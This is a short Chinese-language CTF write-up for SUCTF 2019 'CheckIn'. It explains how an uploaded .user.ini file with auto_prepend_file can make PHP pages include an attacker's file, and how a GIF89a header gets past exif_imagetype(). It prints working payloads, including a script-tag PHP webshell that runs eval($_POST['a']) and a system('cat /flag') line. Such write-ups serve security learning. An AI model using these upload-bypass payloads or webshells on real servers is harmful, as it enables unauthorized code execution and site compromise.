1. 程式人生 > 其它 >[SUCTF 2019]CheckIn(user.ini檔案構成的PHP後門)

[SUCTF 2019]CheckIn(user.ini檔案構成的PHP後門)

技術標籤:wp

0x01 知識點
參考文章:user.ini檔案構成的PHP後門
1、
.user.ini是一個能被動態載入的ini檔案,和php.ini不同的是,修改了.user.ini後,不需要重啟伺服器中介軟體,只需要等待user_ini.cache_ttl所設定的時間(預設為300秒),即可被重新載入。
Php配置項中有兩個比較有意思的項(下圖第一、四個):
在這裡插入圖片描述

auto_prepend_file:指定一個檔案,自動包含在要執行的檔案前,類似於在檔案前呼叫了require()函式
auto_append_file:指定一個檔案在檔案後面包含。
使用方法很簡單,直接寫在.user.ini中:

 auto_prepend_file=01.gif

我們可以很容易地藉助.user.ini檔案來構造一個“後門”。
2、繞過exif_imagetype()
在檔案的前面新增GIF89a
0x02題解
上傳.user.ini讓所有php檔案都“自動”包含某個檔案

GIF89a
auto_prepend_file=a.jpg

上傳a.jpg

GIF89a
<script language='php'>system('cat /flag');</script>

(因為要求上傳的檔案中不能包含<?所以不能用一般的一句話木馬)
當然也可以

GIF89a
<script language='php'
>eval($_POST['a']);</script>

然後用蟻劍連線